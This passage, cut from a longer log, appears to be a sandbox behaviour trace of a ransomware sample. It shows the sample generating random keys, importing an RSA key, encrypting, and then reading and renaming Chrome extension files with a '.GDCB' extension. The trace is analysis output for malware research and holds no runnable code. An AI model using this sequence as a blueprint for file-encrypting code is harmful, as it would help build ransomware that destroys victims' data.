(hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.941] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.941] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.941] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0234.946] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659b038) returned 1 [0234.946] CryptGetKeyParam (in: hKey=0x659b038, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.946] CryptEncrypt (in: hKey=0x659b038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8800000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8800000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.946] GetLastError () returned 0x0 [0234.946] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.946] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0234.948] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a8f8) returned 1 [0234.948] CryptGetKeyParam (in: hKey=0x659a8f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.948] CryptEncrypt (in: hKey=0x659a8f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8810000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8810000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.948] GetLastError () returned 0x0 [0234.948] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.948] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.949] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0234.951] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.952] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.953] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0234.953] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.953] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0234.955] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.956] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.956] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0234.956] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0234.956] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0234.959] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6599e78) returned 1 [0234.959] CryptGetKeyParam (in: hKey=0x6599e78, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0234.959] CryptEncrypt (in: hKey=0x6599e78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8820000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x8820000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0234.960] GetLastError () returned 0x0 [0234.960] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.960] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0234.962] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x659b578) returned 1 [0234.962] CryptGetKeyParam (in: hKey=0x659b578, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0234.962] CryptEncrypt (in: hKey=0x659b578, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8830000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x8830000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0234.962] GetLastError () returned 0x0 [0234.962] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.962] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.962] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0234.964] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.966] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.966] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0234.966] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0234.966] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0234.968] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.969] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.969] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0234.969] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0234.969] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0234.971] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x659b338) returned 1 [0234.971] CryptGetKeyParam (in: hKey=0x659b338, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0234.971] CryptEncrypt (in: hKey=0x659b338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8840000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x8840000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0234.972] GetLastError () returned 0x0 [0234.972] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.972] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0234.973] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x659b738) returned 1 [0234.974] CryptGetKeyParam (in: hKey=0x659b738, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0234.974] CryptEncrypt (in: hKey=0x659b738, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8850000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x8850000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0234.974] GetLastError () returned 0x0 [0234.974] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.974] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.987] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0234.990] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.991] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.991] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0234.991] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.991] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0234.993] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.994] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.994] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0234.994] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.995] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0234.998] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6599c78) returned 1 [0234.998] CryptGetKeyParam (in: hKey=0x6599c78, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0234.998] CryptEncrypt (in: hKey=0x6599c78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8860000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x8860000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0234.998] GetLastError () returned 0x0 [0234.998] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.998] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0235.000] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x659b5b8) returned 1 [0235.000] CryptGetKeyParam (in: hKey=0x659b5b8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0235.000] CryptEncrypt (in: hKey=0x659b5b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8870000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x8870000*, pdwDataLen=0x285d120*=0x100) returned 1 [0235.000] GetLastError () returned 0x0 [0235.000] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.000] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0235.001] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x8880000 [0235.004] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x8890000 [0235.006] ReadFile (in: hFile=0x424, lpBuffer=0x8890000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x8890000*, lpNumberOfBytesRead=0x285d160*=0x1a33, lpOverlapped=0x0) returned 1 [0235.270] VirtualAlloc (lpAddress=0x0, dwSize=0x1a40, flAllocationType=0x3000, flProtect=0x4) returned 0x89a0000 [0235.276] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png.gdcb")) returned 1 [0235.279] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0235.282] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.283] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.283] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0235.283] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.283] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0235.286] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.287] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.288] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0235.288] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.288] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0235.291] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x659b538) returned 1 [0235.291] CryptGetKeyParam (in: hKey=0x659b538, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0235.291] CryptEncrypt (in: hKey=0x659b538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8860000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x8860000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0235.291] GetLastError () returned 0x0 [0235.291] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.291] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0235.293] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x659b5f8) returned 1 [0235.293] CryptGetKeyParam (in: hKey=0x659b5f8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0235.293] CryptEncrypt (in: hKey=0x659b5f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8870000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x8870000*, pdwDataLen=0x285d120*=0x100) returned 1 [0235.294] GetLastError () returned 0x0 [0235.294] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.294] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0235.295] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x8880000 [0235.297] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x8890000 [0235.299] ReadFile (in: hFile=0x424, lpBuffer=0x8890000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x8890000*, lpNumberOfBytesRead=0x285d160*=0x3ec, lpOverlapped=0x0) returned 1 [0235.354] VirtualAlloc (lpAddress=0x0, dwSize=0x3f0, flAllocationType=0x3000, flProtect=0x4) returned 0x89a0000 [0235.359] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json.gdcb")) returned 1 [0235.364] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.367] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.368] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.368] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.368] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.368] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0235.370] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.371] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.372] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.372] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.372] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.374] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659b378) returned 1 [0235.374] CryptGetKeyParam (in: hKey=0x659b378, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.374] CryptEncrypt (in: hKey=0x659b378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8860000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8860000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.374] GetLastError () returned 0x0 [0235.374] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.374] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.376] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659b778) returned 1 [0235.376] CryptGetKeyParam (in: hKey=0x659b778, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.376] CryptEncrypt (in: hKey=0x659b778, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8870000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8870000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.377] GetLastError () returned 0x0 [0235.377] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.377] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.377] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.380] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.383] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.383] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.383] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.383] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.385] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.386] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.387] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.387] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.387] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.389] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659b7b8) returned 1 [0235.389] CryptGetKeyParam (in: hKey=0x659b7b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.389] CryptEncrypt (in: hKey=0x659b7b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8880000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8880000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.389] GetLastError () returned 0x0 [0235.389] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.389] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | 